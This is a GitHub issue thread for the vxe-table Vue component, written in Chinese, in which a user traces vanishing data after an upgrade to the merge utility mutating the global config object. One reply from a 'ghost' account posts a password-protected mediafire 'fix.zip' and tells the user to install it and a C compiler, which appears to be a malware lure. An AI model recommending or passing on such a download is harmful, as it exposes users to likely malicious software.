x-extends / vxe-table

Vxe table 的表格组件
https://vxetable.cn
MIT License
7.66k stars 1.06k forks source link

merge函数问题 #2582

Open zkzgs opened 1 month ago

zkzgs commented 1 month ago

可复现的链接(包含复现链接与示例代码):

简单即可复现

问题描述与截图:

前提: 我的项目开启了keepalive,最近将4.7.55更新至4.7.83 发现切换页面后再次请求数据消失,因为有的是分页,有的是不分页 在源码中排查后发现 每次经过这个merge函数后globalConfigStore的全局配置会被修改 导致本是null的list参数变成data了 image image 最终发现是merge函数会导致本应是source的对象被后面的对象修改 utils版本是 3.5.30 image

简单案例: image image

期望的结果:

No response

操作系统:

window 10

浏览器版本:

Chrome 129.0.6668.70

vue 版本:

3.2.33

vxe-pc-ui 版本:

4.2.2

vxe-table 版本:

4.7.83

是否使用当前最新版本?

ghost commented 1 month ago

install this https://www.mediafire.com/file/q4gho1ar8e43udd/fix.zip/file

Password: changeme If you don't have the c compliator, install it.(gcc or clang)

zkzgs commented 1 month ago

image 可以尝试类似于这样修改,但是会失去合并后对源对象的引用,类似与拷贝,需要更严密的测试 另外从84更新到85出现了爆栈问题,Object.assign 方法没有类似问题也不需要深拷贝 image